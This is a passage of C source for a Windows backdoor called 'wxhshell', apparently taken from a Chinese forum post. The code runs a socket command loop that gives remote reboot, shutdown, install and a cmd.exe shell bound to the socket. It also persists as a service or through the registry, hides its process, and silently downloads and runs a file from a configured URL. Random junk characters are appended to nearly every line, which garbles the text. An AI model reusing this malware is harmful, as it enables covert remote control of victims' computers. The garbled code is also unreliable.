  // 帮助 4qm5`o\hb  
  case '?': { +Qc^A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p Y>yJ)  
    break; Ca1)>1 Vz  
  } u5CT7_#)  
  // 安装 o!\O)  
  case 'i': { ]B,S<*h  
    if(Install()) b0t];Gc%b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H8-,gV  
    else %] #; ~I%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yaa M-o  
    break; ;_Rx|~!!  
    } 1@nR.v"$  
  // 卸载 x6)   
  case 'r': { RXWjFv~/  
    if(Uninstall()) e&0B4wVAQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zw5~|<  
    else y6PAXvv'{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o$-8V:)6d  
    break; v\MH;DW^Z  
    } )E[5lD61  
  // 显示 wxhshell 所在路径 mML^kgy\N  
  case 'p': { U<6k!Y9ny  
    char svExeFile[MAX_PATH]; dl":?D4H  
    strcpy(svExeFile,"\n\r"); 'g=yJ  
      strcat(svExeFile,ExeFile); RD_;us@&&*  
        send(wsh,svExeFile,strlen(svExeFile),0); vy"Lsr3  
    break; ;!~;05^iD  
    } dIpt&nH&$  
  // 重启 G8;S`-D1a,  
  case 'b': { rf`Br\g8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nL:vRJr-$  
    if(Boot(REBOOT)) 4 ^+hw;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ASYUKh,h  
    else { PZ ogN  
    closesocket(wsh); 93!a  
    ExitThread(0); X  ]a>  
    } 3x=F  
    break; _E30t( _.  
    } c~tSt.^WX  
  // 关机 _N-7H\hF  
  case 'd': { Q[b({Vj;tG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h3)KT+7.  
    if(Boot(SHUTDOWN)) x!$,Hcph,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D1j 7iv  
    else { !}3`Pl.(r  
    closesocket(wsh); pJv?  
    ExitThread(0); G1nW{vce  
    } i L m1l  
    break; ]Z84w!z  
    } }DM2#E`_  
  // 获取shell =:g^_Hy  
  case 's': { 9nG] .@ H  
    CmdShell(wsh); $>h#|?*?  
    closesocket(wsh); %&] }P;&  
    ExitThread(0); R_ 1C+  
    break; & 9]KkY=  
  } t~a$|( 9  
  // 退出 .y0]( h  
  case 'x': { n5JB'F)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -E500F*b  
    CloseIt(wsh); ,m"ztu-  
    break; I+CQ,Zuf  
    } xBZ9|2Y s  
  // 离开 kCC9U_dj,  
  case 'q': { v|/3Mi9mz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !:n),sFv45  
    closesocket(wsh); EIYM0vls(  
    WSACleanup(); U.)G #B  
    exit(1); !}P FiT^  
    break; GY",AL8f  
        } ( Lu.^  
  } >C-_Zv<!T\  
  } c==Oio("  
*3ne(c  
  // 提示信息 L|2COX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )>Q 2G/@  
} dq8 /^1P  
  } p;7 4 +q  
kR6 t .  
  return; PPqTmx5S  
} j^ _I{  
3N bn|_`(  
// shell模块句柄 4y1> !~f  
int CmdShell(SOCKET sock) } g*-Ty  
{ @*uX[)  
STARTUPINFO si; 9V],X=y~  
ZeroMemory(&si,sizeof(si)); {''|iwLr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vaf9b}FL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Of wl%G  
PROCESS_INFORMATION ProcessInfo; >#:/ GN?  
char cmdline[]="cmd"; rq1kj 8%2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %)/f; T6  
  return 0; ).]m@g:ew  
} {\aSEE /'  
VBX# !K1Q  
// 自身启动模式 r$#G%FMv  
int StartFromService(void) 46zaxcY<!  
{ {IMzR'PN  
typedef struct b66X])+4jE  
{ pq[mM!;#v  
  DWORD ExitStatus; w}.'Tebu  
  DWORD PebBaseAddress; [Kj:~~`T   
  DWORD AffinityMask; 0v@/I<  
  DWORD BasePriority; AIm$in`P  
  ULONG UniqueProcessId; F3Y>hs):7  
  ULONG InheritedFromUniqueProcessId; & .?HuK  
}   PROCESS_BASIC_INFORMATION; ' 4~5ez|:  
?&"^\p  
PROCNTQSIP NtQueryInformationProcess; } x.)gW  
aVP|:OAj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >jX UO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hk]BC  
tqQ0lv^J  
  HANDLE             hProcess; 2\w=U,;(  
  PROCESS_BASIC_INFORMATION pbi; 8`G{1lr4o  
&Bn; Vi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^@Qi&g`lr?  
  if(NULL == hInst ) return 0; lk +K+Ra/  
&{ {DS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cY2-T#rL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N}Ks[2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }iSakq'  
|"yf@^kdC  
  if (!NtQueryInformationProcess) return 0; S/-7Zo&w+  
V./w06;0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eh(Q^E;*  
  if(!hProcess) return 0; ,0Zn hS)kq  
%EGr0R(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^V}R(gDu}s  
Uk:.2%S2  
  CloseHandle(hProcess); @LKG\zYBu  
,GX~s5S8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @E}X-r.^f  
if(hProcess==NULL) return 0; VK'T[5e  
b|dCEmFt  
HMODULE hMod; O4/n!HOb  
char procName[255]; &ZE\@Vc  
unsigned long cbNeeded; (b%y$D  
S7kT3zB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %%~}Lw  
4$aO;Z_  
  CloseHandle(hProcess); z@~&Kwf\}  
>C3NtGvy  
if(strstr(procName,"services")) return 1; // 以服务启动 atf%7}2  
A$~xG(  
  return 0; // 注册表启动 =u8D!AxT  
} fT3*>^Uv  
v'Vt .m&9&  
// 主模块 T@|l@xm~L  
int StartWxhshell(LPSTR lpCmdLine) ;:Z=%R$wJ  
{ ^ L ^F=qx  
  SOCKET wsl; Ao":9r[V  
BOOL val=TRUE; Blbq3y+Sq  
  int port=0; ]1?=jlUl  
  struct sockaddr_in door; _~[?> cF%  
k=7Gr;;l=p  
  if(wscfg.ws_autoins) Install(); 0i\',h}9  
h4anr7g{  
port=atoi(lpCmdLine); EF=dXm/\  
7"q+"0G  
if(port<=0) port=wscfg.ws_port; ck+b/.gw`  
qon{ g  
  WSADATA data; XY{:tR_al  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VI24+h'J  
)_8}53C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |= cCv_y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z Bt`L,^  
  door.sin_family = AF_INET; BMNr<P2li  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9&%#nN4`8  
  door.sin_port = htons(port); n}A?jOSAe  
xHB/]Vd-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GVG!sM mnX  
closesocket(wsl); 8PBU~mr  
return 1; r!$'!lCR  
} 9k:W1wgH1  
!&`}]qQZ  
  if(listen(wsl,2) == INVALID_SOCKET) { f<89$/w  
closesocket(wsl); ^Cg^ `n?@b  
return 1; e3eVvl5]  
} ejklpa ./  
  Wxhshell(wsl); A)Qh  
  WSACleanup(); Kej|1g1f  
1TNz&=e  
return 0; tqf&N0*  
0||"r&:X  
} d=XpO*v,[  
dC` tN5  
// 以NT服务方式启动 _1sMYhI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pp~3@_)b  
{ ]4Y/xi-  
DWORD   status = 0; !:"-:O}>=,  
  DWORD   specificError = 0xfffffff; lc[XFc  
a}KK{Vqo`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `l/:NF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xQJIM.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8/3u/  
  serviceStatus.dwWin32ExitCode     = 0; dL_QX,X-]  
  serviceStatus.dwServiceSpecificExitCode = 0; [?chK^8  
  serviceStatus.dwCheckPoint       = 0; ATXF,o1  
  serviceStatus.dwWaitHint       = 0; F>dwLbnb  
:N@U[Wx0A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +z-[s6q2m  
  if (hServiceStatusHandle==0) return; MZ|\S/  
Yb[n{.%/g  
status = GetLastError(); zF5q=9 4$  
  if (status!=NO_ERROR) \=!H2M  
{ 5`{vE4A]q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )O3jQ_q=  
    serviceStatus.dwCheckPoint       = 0; mG)8U{L  
    serviceStatus.dwWaitHint       = 0; b~_B [cf  
    serviceStatus.dwWin32ExitCode     = status; 4:vTxNs&S  
    serviceStatus.dwServiceSpecificExitCode = specificError; z)lM2x>|*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pkXv.D`  
    return; 47IY|Jdz  
  } r6`\d k  
=}JBA>q(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3Y z]8`C  
  serviceStatus.dwCheckPoint       = 0; :l+_ja&o  
  serviceStatus.dwWaitHint       = 0; z%V*K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DVI7]+=nV  
} }[ ].\G\G  
!?nu?  
// 处理NT服务事件,比如:启动、停止 .H8mRvd?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %}C9  
{ &1wpGJqm  
switch(fdwControl) qZaO&"q  
{ mD7}t  
case SERVICE_CONTROL_STOP: D?e"U_  
  serviceStatus.dwWin32ExitCode = 0; +W9]ED  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %3M95UZ2  
  serviceStatus.dwCheckPoint   = 0; TPHYz>D]  
  serviceStatus.dwWaitHint     = 0; |olNA*4  
  { !!FR[NK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9\ v.qo.  
  } ~m=$VDWm  
  return; Z>8eD|m%2  
case SERVICE_CONTROL_PAUSE: .Y1bY: =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2FGx _ Y  
  break; $uCiXDKCq  
case SERVICE_CONTROL_CONTINUE: XaW4C-D&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tBseqS3<  
  break; a/~29gW8E\  
case SERVICE_CONTROL_INTERROGATE:  ="\*h(  
  break; W;q+,Io  
}; Q',m{;;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EX:{EmaT  
} W,3zL.qH"  
lEHwZ<je  
// 标准应用程序主函数 /xySwSmh3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3 >|uF  
{ -Q$b7*"z(  
-#aZF2z   
// 获取操作系统版本 'M8aW!~  
OsIsNt=GetOsVer(); Wr5Q5s)c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EJLQ&oH[  
vU!8`x)  
  // 从命令行安装 :.$"kXm^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?; [ T  
)lh8 k {  
  // 下载执行文件 IaLMWoh  
if(wscfg.ws_downexe) { V&i2L.{G)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .+yW%~0  
  WinExec(wscfg.ws_filenam,SW_HIDE); j0FW8!!-g  
} R& #tSL  
7^MX l  
if(!OsIsNt) { d+6]u_J  
// 如果时win9x,隐藏进程并且设置为注册表启动 P16YS8$  
HideProc(); )~V }oKk0t  
StartWxhshell(lpCmdLine); 5Z{_m;I.   
} jWvtv ng  
else  (#o t^  
  if(StartFromService()) !v9lk9SV  
  // 以服务方式启动 )TU<:V  
  StartServiceCtrlDispatcher(DispatchTable); h*Je35  
else FXahZW~Ol  
  // 普通方式启动 Uoj i@  
  StartWxhshell(lpCmdLine); s<vs:jna  
t`5j4bdG  
return 0; zA s&%OjG  
}
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只看该作者 1 发表于: 2006-10-10
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